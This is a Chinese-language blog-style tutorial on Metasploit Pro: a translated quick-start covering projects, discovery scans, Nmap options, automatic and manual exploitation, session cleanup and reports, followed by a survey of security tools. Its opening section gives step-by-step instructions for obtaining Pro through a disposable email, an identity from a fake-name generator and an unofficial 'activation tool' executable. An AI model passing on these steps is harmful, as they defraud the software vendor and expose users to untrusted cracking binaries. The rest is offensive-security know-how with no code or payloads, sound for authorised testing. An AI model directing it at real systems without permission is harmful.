白嫖 Metasploit Pro 2022:https://zhuanlan.zhihu.com/p/449836479 白嫖 Metasploit Pro 2022:http://t.zoukankan.com/hxlinux-p-15787814.html 好东西之 metasploit pro:https://www.52pojie.cn/thread-1586222-1-1.html
Metasploit Pro 英文文档:https://docs.rapid7.com/metasploit/ Metasploit Pro 中文文档:https://www.wangan.com/docs/939
免费的 metasploit 教程:https://www.offensive-security.com/metasploit-unleashed/
0、初始 MFS
Metasploit 一开始没有专业版和精简版,2009年渗透测试技术领域的知名公司Rapid7收购了Metasploit 作为项目 Metasploit 创始人的 HD Moore 也全职加入 Metasploit 公司中。Rapid7 新推出于2010年10月 Metasploit 版本,即 Metasploit Express 和 Metasploit Pro。Metasploit Express 有原来的 Metasploit 但是 Rapid7 在此基础上对 Metasploit Express 优化和自动攻击形成Metasploit Pro,即所谓的 Metasploit 专业版,Metasploit 从而进入商业领域。
Metasploit专业版和精简版的主要区别在于专业版集成了全自动攻击模块,通过远程API集成网络分割测试模块、标准基线审计导向模块、闭环漏洞验证优先处理功能、动态负荷防病毒解决方案、钓鱼意识管理和鱼叉网络钓鱼模块OWASP Top 10漏洞的Web应用程序测试模块程序测试模块Web界面选择模块。然而,专业版本必须付费,因此除非使用非个人功能,否则没有必要使用专业版本。此外,专业版本版本的渗透攻击模块相同。
Kali 中MSF 框架位置:cd /usr/share/metasploit-framework,
进入windows 攻击模块:cd /usr/share/metasploit-framework/modules/exploits/windows
学习路线:了解 MSF ---> 安装 MSF2-Linux 靶机---> MSF基本使用方法---> MSF实战:攻击 win7主机并远程执行命令,扫描靶机 mysql 服务
Metasploit Pro 官网下载 ( 官网似乎找不到下载链接)
- 官网搜索 metasploit pro:https://www.rapid7.com/search/?q=metasploit pro
- 官方安装 ( window、linux、mac):https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
官网下载地址:https://www.rapid7.com/products/metasploit/download/pro/thank-you/
Metasploit Pro :
- 1、下载 Metasploit Windows 版本( Metasploit-Latest-Windows-Installer.exe )
- 2、创建帐户( 使用 临时虚拟邮箱:https://www.tempo-mail.com/en 验证帐户 )
- 3.创建虚拟身份:https://www.fakenamegenerator.com/
- 4、转到(https://www.rapid7.com/products/metasploit/download/pro/)或(https://www.rapid7.com/try/metasploit-pro/)
- 5.完全按在 fakenamegenerator.com 除电子邮件地址外,所获得的个人资料应填写所有内容
- 6、从 Tempo-Mail.com 填写电子邮件地址
- 7.完成验证码并单击提交
- 8、使用您在 Tempo-Mail.com 获得的密钥安装得当 Metasploit Windows 版本
- 9、运行(Metasploit Pro 激活工具.exe)
- 重启你的电脑
- 11、Metasploit Pro 激活成功
若需更新 Metasploit Pro,更新时重复此过程。
1、基础库:metasploit 基础库文件位于源码根目录路径下 libraries 包括目录 Rex,framework-core 和 framework-base 三部分。 Rex它是整个框架所依赖的最基本的组件,如: 包装网络套接字,实现网络应用协议客户端和服务端,日志子系统,渗透攻击支持范围,PostgreSQL以及MySQL数据库支持等; framework-core库负责与各种类型的上模块和插件的交互接口的实现; framework-base库扩展了 framework-core,为支持用户接口和功能程序调用框架本身的功能和框架集成模块提供更简单的包装范围;
2.模块:模块组织根据不同的用途分为六种模块(Modules):
- 分为辅助模块 ( Aux )
- 渗透攻击模块 ( Exploits )
- 后渗透攻击模块 (Post )
- 攻击载荷模块 ( payloads )
- 编码器模块 ( Encoders )
- 空指令模块 ( Nops )
注:payload 又称攻击载荷,主要用于建立目标机与攻击机的稳定连接,可返回 shell,也可以注入程序等.
3.插件:插件可以扩展框架的功能,或组装具有高级特性的组件。插件可以集成一些现有的外部安全工具,如Nessus、OpenVAS漏洞扫描等,为用户接口提供一些新的功能。 4、接口:包括 msfconsole 控制终端、msfcli 命令行、msfgui 图形化界面、armitage 图形化界面以及 msfapi 远程调用接口。 5、功能程序:metasploit 还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快 速地利用metasploit框架内部能力完成一些特定任务。比如 msfpayload. msfencode 和 msfvenom 可以将攻击载荷封装为可执行文件、C语言、JavaScript 语言等多种形式,并可以进行各种 类型的编码。
靶机安装略。。。
1、Metasploit Pro 介绍
Metasploit Pro 工作流
渗透测试可以分为四个阶段到七个阶段。阶段的名称可以有所不同,但是它们通常包括:侦察,扫描,开采,开采后,维护访问权限,报告和清理。
Metasploit Pro 工作流程遵循渗透测试的一般步骤。除了侦察,您还可以从 Metasploit Pro 执行其他渗透测试步骤。
- - 创建一个项目来存储从目标中收集的数据。
- - 使用发现扫描,Nexpose 扫描或导入工具为 Metasploit Pro 提供目标列表以及正在运行的服务以及与这些目标关联的开放端口。
- - 使用智能漏洞利用或手动漏洞利用对目标计算机发起攻击。此外,您可以运行蛮力攻击来提升帐户特权并获得对被利用机器的访问权限。
- - 使用漏洞利用后模块或交互式会话进行交互,以从受到感染的目标中收集更多信息。Metasploit Pro 为您提供了多种工具,可用于与被利用机器上的打开会话进行交互。例如,您可以查看受感染目标上的共享文件系统,以标识有关内部应用程序的信息。您可以利用此信息来获取有关受感染系统的更多信息。
- - 使用 “ 清理” 选项关闭被利用目标上的所有打开的会话,并删除渗透测试期间使用的任何数据的任何证据。此步骤将还原目标系统上的原始设置。
- - 使用报告引擎来创建详细介绍渗透测试结果的报告。Metasploit Pro 提供了几种类型,可让您确定报告包括的信息类型。
从 Web 界面访问 Metasploit Pro
如果 Metasploit Pro 在本地计算机上运行,浏览器访问 https://localhost:3790 如果 Metasploit Pro 在远程计算机上运行,则需要用远程计算机的地址替换 localhost。
要登录 Web 界面,您需要激活 Metasploit Pro 许可证密钥时创建的帐户的用户名和密码。如果您忘记了为该帐户设置的密码,则需要重设密码。
如果用户界面未正确显示其所有元素,请确保您使用的是以下列出的受支持的浏览器之一:
- 谷歌浏览器 10+
- Mozilla Firefox 18+
- Internet Explorer 10+
- 冰狼 18+
Window 命令行访问 Metasploit Pro
要在 Windows 上启动控制台,请选择。
也可以从命令行启动控制台。要从命令行启动控制台,请输入以下内容:
$ cd /metasploit
$ console.bat
键盘快捷键:
- :向上或向下滚动页面。
- :如果您在 “全局设置” 中启用了调试选项,则打开诊断控制台。
- :如果您在 “全局设置” 中启用了调试选项,则打开诊断控制台。
- :打开在线帮助系统。
- :关闭或打开所选的帮助图标。
Linux 上启动 Pro Console
要在 Linux 上启动控制台,请打开终端并运行以下命令:
$ cd /opt/Metasploit/
$ sudo msfpro
2、Metasploit Pro 使用快速入门指南
通常步骤:
- 创建一个项目
- 获取目标数据
- 查看和管理主机数据
- 运行漏洞扫描
- 设置监听器
- 利用已知漏洞
- 剥削后并收集证据
- 清理会话
- 产生报告
2.1 创建一个项目
项目包含工作空间、存储数据,并使您能够将项目分为逻辑组。通常,您对组织中的各个子网有不同的要求。因此,拥有多个项目来代表那些需求可能是有效的。
例如,您可能要为人力资源部门创建一个项目,为 IT 部门创建另一个项目。您对这些部门的要求可能相差很大,因此将目标分为不同的项目对您来说是合乎逻辑的。参与结束时,您可以为每个部门生成单独的报告,以进行比较分析并将发现的结果提交给组织。
创建项目很容易。单击 “ 项目” 页面上的 “ 新建项目” 按钮,也可以从全局工具栏中选择 “ 项目”>“新建项目 ”。
当出现 “ 新项目” 页面时,您只需要提供一个项目名称。如果要自定义项目,还可以添加说明,指定网络范围并分配用户访问级别。
2.2 获取目标数据
下面要做的是将数据添加到项目中。有两种方法可以执行此操作:
- 运行发现扫描
- 导入您已经拥有的数据
扫描目标
扫描是对主机进行指纹识别并枚举开放端口以了解网络中运行的服务的过程。通过扫描,您可以识别活动的系统以及可以与之通信的服务,从而可以制定有效的攻击计划。Metasploit 拥有自己的内置发现扫描程序,该扫描程序使用 Nmap 执行基本的 TCP 端口扫描并收集有关目标主机的其他信息。
默认情况下,发现扫描包括 UDP 扫描,它将 UDP 探测发送到最常见的 UDP 端口,例如 NETBIOS,DHCP,DNS 和 SNMP。扫描测试大约 250 个端口,这些端口通常为外部服务公开,并且在渗透测试期间通常进行测试。
在发现扫描期间,Metasploit Pro 会自动将主机数据存储在项目中。您可以查看主机数据以获得对网络拓扑的更好理解,并确定利用每个目标的最佳方法。通常,网络拓扑可以洞悉目标已安装的应用程序和设备的类型。您可以收集的有关目标的信息越多,对您进行测试的调整就越多。
运行发现扫描很简单。在项目中,单击 “ Scan 按钮。
当出现 “New Discovery Scan ” 表单时,在 “Target addresses” 字段中输入要扫描的主机。您可以输入一个 IP 地址,带连字符的 IP 范围或标准 CIDR 表示法。每个项目都需要出现在换行符中。
您可以仅在目标范围内运行扫描。但是,如果要微调扫描,则可以配置高级选项。例如,您可以指定要从扫描中排除的主机,并从高级选项中设置扫描速度。
导入数据
如果您正在使用漏洞扫描程序,则可以将漏洞报告导入 Metasploit 项目以进行验证。导入的漏洞数据还包括主机元数据,您可以对其进行分析以识别其他攻击路线。Metasploit 支持多种第三方漏洞扫描程序,包括 Nessus,Qualys 和 Core Impact。
您也可以将数据从一个 Metasploit 项目导出和导入到另一个项目。这使您可以在项目和其他团队成员之间共享发现。
要将数据导入项目,请单击 “快速任务” 栏中的 “ 导入” 按钮。出现 “ 导入数据” 页面时,选择 “ 从 Nexpose ** 导入” 或 “** 从文件导入” 选项。根据您选择的选项,表格显示您需要配置以导入文件的选项。
例如,如果选择从 Nexpose 导入,则需要选择要用于运行扫描或导入站点的控制台。如果选择导入文件,则需要浏览到文件的位置
2.3 查看和管理主机数据
您可以在项目级别或主机级别查看主机数据。在项目级别,Metasploit 提供了已添加到项目中的所有主机的高级视图。要访问项目视图,请选择分析 > 主机。项目视图最初显示 “主机” 列表,该列表显示每个主机的指纹以及枚举的端口和服务。您还可以查看项目的所有注释、服务、漏洞和捕获的数据。要访问其他视图,请在项目视图中单击其选项卡。
要查看主机的详细信息,可以单击主机的 IP 地址以访问单个主机视图。这是深入查看特定主机的漏洞和凭据的好方法。
2.4 运行漏洞扫描、找到并利用漏洞
漏洞扫描
将目标数据添加到项目中之后,可以运行漏洞扫描以查明可以利用的安全漏洞。漏洞扫描程序利用漏洞数据库并检查以发现目标计算机上存在的已知漏洞和配置错误。这些信息可以帮助您确定潜在的攻击媒介,并制定和制定攻击计划,从而使您能够在利用过程中危及目标。
与 Nexpose 的集成使您可以直接从 Metasploit Web 界面启动漏洞扫描。Nexpose 扫描可识别在每个主机上运行的活动服务,打开的端口和应用程序,并尝试根据已知服务和应用程序的属性来识别可能存在的漏洞。Nexpose 在扫描报告中披露结果,您可以将其与 Metasploit 共享以进行验证。
要运行 Nexpose 扫描,请单击快速任务栏中的 Nexpose 按钮。
当出现 Nexpose 配置表单时,您需要配置并选择要用于执行扫描的控制台。与发现扫描类似,您需要定义要扫描的主机。您还需要选择一个可用的扫描模板,该模板定义 Nexpose 使用的审核级别。有关扫描模板的更多信息,请查看 ( https://docs.rapid7.com/insightvm/ )
要查看 Nexpose 发现的所有潜在漏洞,请选择。您可以单击漏洞名称以查看可用于利用该漏洞的模块。
此信息在渗透的下一阶段变得很方便:利用。
漏洞扫描程序是有用的工具,可以帮助您快速发现目标上的潜在安全漏洞。但是,有时您可能希望避免检测并限制所产生的噪声量。在这些情况下,您可能需要运行一些辅助模块,例如 FTP,SMB 和 VNC 登录扫描程序,以手动识别可以利用的潜在漏洞。手动漏洞分析非常耗时,需要您自己进行研究,批判性思维和深入的知识,但是它可以帮助您创建准确而有效的攻击计划。
找到并利用漏洞
扫描和检查漏洞的最简单方法是通过漏洞验证向导,该向导可自动为 Nexpose 和 Metasploit Pro 用户提供验证过程。该向导提供了一个指导界面,可引导您完成验证过程的每个步骤 - 从导入 Nexpose 数据到自动利用漏洞,再到将验证结果发送回 Nexpose。
如果您无权访问 Nexpose 和 / 或 Metasploit Pro,则验证过程需要对漏洞进行手动分析。手动验证需要更多的工作量,但可以提供对目标漏洞的更多控制。
利用已知漏洞
在收集了有关目标的信息并确定了潜在的漏洞之后,可以进入开发阶段。利用只是针对发现的漏洞运行利用的过程。成功的利用漏洞尝试提供对目标系统的访问,因此您可以执行诸如窃取密码哈希和下载配置文件之类的事情。它们还使您能够识别和验证漏洞带来的风险。
Metasploit 提供了两种可用于执行利用的不同方法:
- 自动利用
- 手动利用
自动利用
自动利用功能可以交叉引用开放服务,漏洞参考和指纹以查找匹配的利用。所有匹配的漏洞利用都被添加到攻击计划中,该计划基本上确定了可以运行的所有漏洞利用。自动利用漏洞的简单目标是,通过利用 Metasploit 为目标主机提供的数据来尽快获得会话。
要运行自动利用,请单击快速任务栏中的利用按钮。
至少,您需要提供要利用的主机以及每种利用的最低可靠性。可以设置最低可靠性,以保证所启动漏洞利用程序的安全性。可靠性级别越高,使用的漏洞利用就越不可能使服务崩溃或对目标产生负面影响。有关每个模块排名的说明,请查看此页面。
手动利用
手动利用漏洞提供了更有针对性和方法性的漏洞利用方法。它使您可以一次运行一个选择的漏洞利用程序。如果存在要利用的特定漏洞,此方法特别有用。例如,如果您知道 Windows XP 目标上的 SMB 服务器没有 MS08-067 修补程序,则可能要尝试运行相应的模块来利用它。
要搜索模块,请选择 “ 模块”>“搜索”,然后输入要运行的模块的名称。查找确切模块匹配的最佳方法是按漏洞参考进行搜索。例如,如果要搜索 ms08-067,则可以搜索 “ms08-067”。您也可以按以下模块路径进行搜索:exploit/windows/smb/ms08_067_netapi。
查找漏洞利用程序的最简单方法之一就是直接从漏洞页面上进行。要查看项目中的所有漏洞,请选择 “ 分析”>“漏洞”。您可以单击漏洞名称以查看可用于利用该漏洞的相关模块。
单个漏洞视图显示了可以针对主机运行的漏洞利用列表。您可以单击按钮以打开模块的配置页面。
2.5 配置通用漏洞利用模块设置
每个模块都有自己的一组选项,可以根据您的需求进行定制。这里列出的可能性太多。但是,以下是一些通常用于配置模块的选项:
- 有效负载类型 - 指定漏洞将传递给目标的有效负载类型。选择以下有效负载类型之一: 命令 : 命令执行有效负载,使您能够在远程计算机上执行命令。 Meterpreter : 高级有效负载,提供命令行,使您可以即时传递命令并注入扩展。
- 连接类型 - 指定您希望 Metasploit 实例连接到目标的方式。选择以下连接类型之一: 自动 :检测到 NAT 时自动使用绑定连接;否则,将使用反向连接。 绑定 :使用绑定连接,当目标位于防火墙或 NAT 网关后面时,此连接很有用。 反向 :使用反向连接,这在系统无法启动与目标的连接时非常有用。
- LHOST- 定义本地主机的地址。
- LPORT- 定义要用于反向连接的端口。
- RHOST- 定义目标地址。
- RPORT- 定义要攻击的远程端口。
- 目标设置 - 指定目标操作系统和版本。
- 利用超时 - 以分钟为单位定义超时。
2.6 收集信息
成功利用漏洞的任何利用都会导致开放会话,您可以使用该会话从目标中提取信息。攻击的真正价值取决于您可以从目标中收集的数据,例如密码哈希,系统文件,和屏幕截图,以及如何利用这些数据来访问其他系统。
要查看打开的会话列表,请选择 “ 会话” 选项卡。单击会话 ID,以查看可以针对主机运行的利用后任务。
要从被利用的系统收集证据,请单击 “ 按钮。
将显示所有打开的会话的列表,并向您显示可以收集的证据类型。
2.7 暴力破解和重用密码
获取目标的最流行方法之一是使用密码攻击。您可以使用 Bruteforce 或 Reusing Credentials 进行密码攻击。
2.8 清理会话
完成打开的会话后,您可以清理会话以删除可能遗留在系统上的所有证据并终止会话。要清理会话,请转到 “ 会话” 页面,然后单击按钮。
当出现 “ 会话清理” 页面时,选择要关闭的会话,然后单击 “ 按钮。
2.9 生成报告
在渗透测试的最后,您将要创建一个包含渗透测试结果的可交付成果。Metasploit 提供了许多报告,可用于编译测试结果并将数据合并为可分发的有形格式。
3、Metasploit Pro 扫描
扫描
渗透测试的第一步就是侦察。侦察是收集信息以更好地了解网络的过程。它使您可以创建目标 IP 地址列表并制定攻击计划。拥有 IP 地址列表后,您可以运行发现扫描以了解有关这些主机的更多信息。发现扫描可识别网络上正在运行的操作系统,将这些系统映射到 IP 地址,并枚举那些系统上的开放端口和服务。
发现扫描是内部的 Metasploit 扫描器。它使用 Nmap 执行基本的 TCP 端口扫描,并运行其他扫描程序模块以收集有关目标主机的更多信息。默认情况下,发现扫描包括 UDP 扫描,它将 UDP 探测发送到最常见的 UDP 端口,例如 NETBIOS,DHCP,DNS 和 SNMP。发现扫描测试大约 250 个端口,这些端口通常为外部服务公开,并且在渗透测试期间通常进行测试。
在发现扫描期间,Metasploit Pro 会自动将主机数据添加到项目中。您可以查看主机数据以获得对网络拓扑的更好理解,并确定利用每个目标的最佳方法。通常,网络拓扑可以洞悉目标已安装的应用程序和设备的类型。您可以收集的有关目标的信息越多,对您进行测试的调整就越多。
扫描可以分为四个不同的阶段:
- ping 扫描
- 端口扫描
- 操作系统和版本检测
- 资料汇入
ping 扫描
扫描的第一阶段,即 ping 扫描,确定主机是否在线。发现扫描设置该 -PI 选项,该选项告诉 Nmap 执行标准的 ICMP ping 扫描。单个 ICMP 回显请求被发送到目标。如果有 ICMP 回显答复,则将主机视为 “启动” 或在线。如果主机在线,则发现扫描会将主机包括在端口扫描中。
端口扫描
在第二阶段(端口扫描)中,Metasploit Pro 运行 Nmap 来识别打开的端口,并且这些端口上的服务可用。Nmap 将探测发送到各个端口,并对响应进行分类,以确定端口的当前状态。扫描涵盖了各种通常公开的端口,例如 HTTP,telnet,SSH 和 FTP。
发现扫描使用默认的 Nmap 设置,但是您可以添加自定义 Nmap 选项以自定义 Nmap 扫描。例如,默认情况下,发现扫描运行 TCP SYN 扫描。如果要运行 TCP Connect 扫描而不是 TCP SYN 扫描,则可以提供该 -sT 选项。您指定的任何选项都会覆盖发现扫描使用的默认 Nmap 设置。
操作系统和版本检测
发现扫描识别出打开的端口后,第三阶段开始。Nmap 将各种探测发送到打开的端口,并根据系统对探测的响应方式来检测服务版本号和操作系统。操作系统和版本号提供有关系统的有价值的信息,并帮助您识别可能的漏洞并消除误报。
资料汇入
最后,在 Nmap 收集所有数据并创建报告之后,Metasploit Pro 将数据导入到项目中。Metasploit Pro 使用服务信息发送针对发现的服务的其他模块,并探测目标以获取更多数据。例如,如果发现扫描使用 telnet 探针扫描目标,则目标系统可能会返回登录提示。登录提示可能表明该服务允许远程访问系统,因此,此时,您可能需要运行蛮力攻击来破解凭据。
扫描中包含的端口
常用扫描的端口有 200 多个,其中包括以下端口集:
标准和众所周知的端口,例如端口 20、21、22、23、25、53、80 和 443。 服务的备用端口,例如端口 8080 和 8442,它们是 HTTP 和 Web 服务可以使用的其他端口。 列出为模块中默认端口的端口。
如果没有看到要扫描的端口,则可以将端口手动添加到发现扫描中。例如,如果您知道公司在开放端口 9998 的情况下运行 Web 服务器,则需要将端口 9998 手动添加到发现扫描中。这样可以确保发现扫描包括可能打开的每个端口。
如果要扫描所有端口,则可以将 1-65535 指定为端口范围。请记住,包括所有端口的发现扫描可能需要几个小时才能完成。
如果存在您不想扫描的端口,则可以从发现扫描中排除该端口。发现扫描不会扫描排除列表上的任何端口。例如,如果您的公司使用在端口 1234 上运行的应用程序,并且您不想影响该应用程序的性能,则可以将该端口添加到排除列表中。
扫描选项
您可以为发现扫描配置以下选项:
- :定义要扫描的单个主机或网络范围。
- :在发现扫描执行服务版本验证之前执行端口扫描。
- :将标志和命令发送到 Nmap 可执行文件。发现扫描不支持以下 Nmap 的选项:-o,-i,-resume,-script,-datadir,和 -stylesheet。
- :将其他 TCP 端口附加到端口扫描。默认情况下,端口扫描覆盖的端口很小,但范围很广。如果要向扫描添加更多端口,请使用此选项。
- :从服务发现中排除某些 TCP 端口。默认情况下,端口扫描覆盖特定范围的端口。使用此选项可以添加要从扫描中排除的端口。
- :指定供发现扫描使用的 TCP 端口范围,而不是默认端口。如果设置自定义 TCP 端口范围,则发现扫描将忽略所有默认端口,而改用您定义的范围。
- :指定发现扫描使用的 TCP 源端口而不是默认端口。使用此选项测试防火墙规则。
- :仅通用 TCP 端口。在最常见的 TCP 端口上执行扫描,从而减少了发现扫描扫描的端口数。
- :控制 Nmap 计时选项。从以下时序模板中选择: Insane (5) - 加快扫描速度。牺牲了速度和准确性。扫描延迟小于 5 毫秒。 Aggressive (4) - 加快扫描速度。假设您使用。扫描延迟小于 10 毫秒。 Normal (3) - 默认端口扫描速度,不影响扫描。 Polite (2) - 使用较少的带宽和目标资源来减慢扫描速度。 Sneaky (1) - 逃避 IDS 的速度。 Paranoid (0) - 用于逃避 IDS 的速度。
- :确定 Nmap 在每个主机上花费的时间。默认值为 5 分钟。
- :设置发现扫描以查找网络上的所有服务。Metasploit 使用自定义模块而不是 Nmap 来执行 UDP 服务发现。
- :启动后台任务,该任务会扫描响应各种社区字符串的设备。
- :扫描 H.323 设备。
- 户:如果发现扫描检测到 Finger 协议,则查询用户名并尝试暴力破解用户列表。
- :设置发现扫描以查找网络上所有未知的服务和应用程序。
- :单独扫描主机。在单个主机上运行扫描。发现扫描会完全扫描第一个主机,然后将信息存储到数据库中,然后再移至下一个主机。
- :仅显示扫描信息。如果启用,此选项将准备扫描并显示发现扫描将在任务日志中使用的所有选项。但是,它不会启动扫描。
- :运行 Pro Web Scanner。自动运行 Web 扫描,Web 审计和 Web 漏洞发现扫描。通常建议您不要启用此选项,除非您要对很少的主机进行扫描。如果要对大量主机运行发现扫描,则应与发现扫描分开运行 Web 扫描程序。
- 名:定义发现扫描用来尝试登录 SMB 服务的 SMB 用户名。
- :定义发现扫描用于尝试登录 SMB 服务的 SMB 密码。
- :定义 SMB 服务器名称和共享名称。
指定 IPv6 地址
在发现扫描期间,Metasploit Pro 不会自动检测 IPv6 地址。对于具有 IPv6 地址的主机,您必须知道目标设备正在使用的各个 IP 地址,并将这些地址指定给 Metasploit Pro。要识别单个 IPv6 地址,可以使用 SNMP,Nmap 或 thc-alive6,它们是 thc-ipv6 工具包的一部分。
确定目标设备的 IPv6 地址后,可以将包含主机地址的文本文件导入到项目中,也可以将主机手动添加到项目中。
导入包含 IPv6 地址的文
要导入文件,请选择分析 > 主机。出现 “ 主机” 页面时,单击 “ 导入” 按钮。当出现 “ 导入数据” 页面时,浏览到主机地址文件的位置并导入主机地址文件。该文件必须是一个文本文件,在新行上列出每个 IPv6 地址,如下所示:
FE80:0000:0000:0000:0202:B3FF:FE1E:8329
FE80:0000:0000:0000:0202:B3FF:FE1E:8328
手动添加具有 IPv6 地址的主机
要手动添加主机,请选择。当出现 “ 主机” 页面时,单击 “ 按钮。
出现 “ 主机” 页面时,输入以下信息:
- - 主机的名称。
- - 主机的 IPv6 地址。
其他字段,例如以太网地址和 OS 信息,是可选的。
运行扫描
发现扫描将运行 Nmap 以及一些特定于服务的模块,以识别运行中的系统并查找打开的端口和服务。至少,您需要指定要扫描的系统的地址。您还可以配置一些高级选项来微调不同的扫描阶段。例如,您可以绕过端口扫描阶段并转到版本检测,也可以单独扫描每个主机以加快将主机导入项目的速度。此外,这些高级设置使您可以选择端口,目标服务,扫描速度和扫描模式。
由于发现扫描主要利用 Nmap,因此您可以指定其他 Nmap 选项来自定义扫描。例如,如果要更改扫描技术,则可以为要使用的技术提供 Nmap 命令行选项,发现扫描将应用这些设置而不是默认设置。有关 Nmap 选项的更多信息,请访问 ( https://nmap.org/book/man-briefoptions.html )。
要运行发现扫描:
在项目中,单击概述选项卡。
出现 “ 概述” 页面时,单击 “ 扫描” 按钮。
您也可以从 “ 分析” 页面访问 “ 按钮。
- 当出现 “ 新发现扫描” 页面时,在 “ 目标地址” 字段中输入要包括在扫描中的目标地址。
您可以输入一个 IP 地址,地址范围或 CIDR 表示法。如果有多个地址或地址范围,请使用换行符分隔每个条目。
此时,您可以启动扫描。但是,如果要微调扫描,可以单击 “ 显示高级选项” 按钮以显示可以为发现扫描设置的其他选项。例如,您可以指定要明确包含在扫描中或从扫描中排除的 IP 地址。 准备好运行扫描时,请单击启动扫描按钮。 发现扫描启动后,任务日志将显示并显示进度状态和扫描状态。如果扫描顺利完成,则状态为 “完成”。否则,错误将显示在任务日志中,并且扫描标记为 “失败”。
查看扫描结果
查看发现扫描收集的数据的最佳方法是从 “ 主机” 页面。要查看 “主机” 页面,请选择 “ 主机”>“分析”。每个主机将具有以下状态之一:已扫描,已破解,被剥壳或被掠夺。对于最近扫描的主机,最简单的识别方法是按日期和状态对其进行排序。
分析扫描收集的数据
您会注意到,对于每个扫描或导入的主机,将显示以下信息(如果有):
- IP 地址
- 主机名
- 作业系统
- 主动服务
- 主机上次更新的时间戳
- 主机状态
码主机状态
主机状态描述了主机最近发生的当前事件,主机状态有一个等级顺序。
*Scanned * - 表示已执行发现扫描,Nexpose 扫描或导入。 *Shelled * - 表示已在主机上打开会话。 *Looted * - 表示文件或屏幕快照是从主机获取的。 *Cracked * - 表示来自主机的密码哈希被解密为纯文本。
10 款开源又好用的Linux安全工具
两者被认为在企业漏洞评估和渗透测试中可发挥重要作用。
Aircrack-ng是一套用于测试无线网络和Wi-Fi协议安全的工具。安全人员使用这款无线扫描工具用于网络管理、黑客攻击和渗透测试。它侧重于监控(捕获数据包并将数据导出到文本文件,供第三方工具进一步处理)、攻击(通过数据包注入回放攻击、取消认证和伪造的接入点)、测试(检查Wi-Fi卡和驱动程序功能)以及破解(WEP和WPA PSK,WPA1和2)。
据Aircrack-ng官网显示,其所有工具都是命令行,允许编写大量脚本。该工具主要适用于Linux,但也适用于Windows、macOS、FreeBSD、OpenBSD、NetBSD以及Solaris甚至eComStation 2。
Burp Suite Professional是一个Web应用程序测试套件,用于评估网站安全性。Burp Suite作为本地代理解决方案来运行,让安全人员可以解密、观察、处理和重现Web服务器与浏览器之间的Web请求(HTTP/websocket)和响应,该软件企业版可以支持应用程序开发团队使用的多路并行扫描。
该工具随带被动扫描器,让安全人员可以在手动勘查站点时绘制站点网络图,查找潜在漏洞。Pro版还提供了非常有用的主动Web漏洞扫描器,以便进一步检测漏洞。Burp Suite可以通过插件来扩展,因此安全人员可以自行开发增强功能。Pro版拥有较为可靠的插件,使Burp成为一款应对Web攻击的多工具套件。
Impacket由SecureAuth开发,对于渗透测试网络协议和服务至关重要。Impacket作为用于渗透测试网络协议的Python类程序运行,致力于对数据包提供低级访问,针对SMB1-3和MSRPC等一些协议,提供实现协议本身服务。安全人员可以从头开始构建数据包,并且可以解析原始数据。该工具中面向对象的API使得用户很容易处理协议的深度层次结构。Impacket采用Apache软件许可证的修改版提供服务。
Impacket支持以下协议:
•以太网和Linux
•IP、TCP、UDP、ICMP、IGMP和ARP
•IPv4和IPv6;
•NMB、SMB1、SMB2和SMB3;
•MSRPC版本5;
•PLAIN验证、NTLM验证和Kerberos验证,使用密码/哈希/票据/密钥。
只要用户提供SecureAuth积分,就能免费使用该软件。
Rapid7的这款漏洞利用框架用于一般的渗透测试和漏洞评估,安全人员认为它是一款“超级工具”,可以检测几乎所有最新的客户端漏洞。Metasploit使安全人员能够扫描网络和端点(或导入NMAP扫描结果),以查找漏洞,然后自动执行任何可能的漏洞利用方法以接管系统。
在许多安全测试人员眼里,捕获登录信息一直是一个非常关键的环节。多年来,Metasploit 借助针对特定协议的模块为此提供便利,所有模块都放在auxiliary/server/capture下。安全人员可以单独启动和配置这每个模块,但现在有一个捕获插件可简化这个过程。
Metasploit Pro附带Rapid7提供的商业支持,起价为每年12000美元,但也有免费版本。
NCAT由NMAP的开发商开发,是流行软件NETCAT的后继产品,是当前众多NETCAT版本的代表作,旨在充当一种可靠的后端工具,用于实现与其他应用程序和用户的网络连接。它便于从命令行通过网络读取和写入数据,但增添了SSL加密等功能。
安全专家表示,NCAT已广泛用于托管TCP/UDP客户端和服务器,以发送/接收来自受害者和攻击系统的任意数据。它也是建立反向shell或窃取数据的流行工具。NCAT与IPv4和IPv6都兼容,提供了将NCAT串联起来,将TCP、UDP和SCTP等端口重定向到其他网站以及支持SSL的功能。
NMAP是一种命令行网络扫描工具,可发现远程设备上的可访问端口。许多专业人员认为,NMAP是最重要、最有效的工具——这款工具非常强大,已成为渗透测试人员的必备工具。
NMAP的旗舰功能是扫描网络以查找活动服务器;扫描服务器上的所有端口,以发现操作系统、服务和版本。通过NMAP的脚本引擎,它会针对发现的任何服务执行进一步的自动化漏洞检测,并自动利用漏洞。
NMAP支持数十种高级技术,用于映射有众多IP过滤器、防火墙、路由器及其他障碍的网络。这些技术包括许多TCP和UDP端口扫描机制、操作系统检测、版本检测和ping扫描。安全人员可以使用NMAP来扫描由成千上万台机器组成的大型网络。
作为建立网络隧道的事实标准,ProxyChains让安全人员可以通过各种受感染的机器,从发动攻击的Linux机器发出代理命令,以穿越网络边界和防火墙,同时逃避检测。安全人员经常使用Linux操作系统在网络上隐藏身份。ProxyChains通过TOR、SOCKS和HTTP代理路由传输渗透测试人员的TCP流量。NMAP等TCP侦察工具与之兼容。安全人员还使用ProxyChains来规避防火墙和IDS/IPS检测。
Responder可对NBT-NS(NetBIOS名称服务)、LLMNR(链路本地多播名称解析)和mDNS(多播DNS)发起中毒攻击,渗透测试人员用它来模拟攻击,如果在DNS服务器上没有找到记录时,就在名称解析过程中窃取登录信息及其他数据。
最新版的Responder(v. 3.1.1.0)默认提供完整的IPv6支持,这让安全人员可以对IPv4和IPv6网络执行更多的攻击。由于之前版本的Responder缺乏对IPv6的支持,因而漏过了几条攻击路径,这很重要。特别是考虑到IPv6已成为Windows上的首选网络栈,这一点在纯IPv6网络甚至IPv4/IPv6混合网络上尤为重要。
sqlmap是一款开源渗透测试工具,可自动检测和利用SQL注入漏洞,这种漏洞可用于接管数据库服务器。该工具附带功能强大的检测引擎,拥有许多用于渗透测试的功能,包括数据库指纹、访问底层文件系统以及通过带外连接在操作系统上执行命令。
安全人员表示,它可以帮助他们自动执行针对各大SQL后端的SQL发现和注入攻击。它支持广泛的数据库服务器,包括MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB和HSQLDB。还支持各种SQL注入攻击,包括基于布尔型的盲注、基于时间的盲注、基于错误的盲注、堆叠查询注入以及带外攻击。
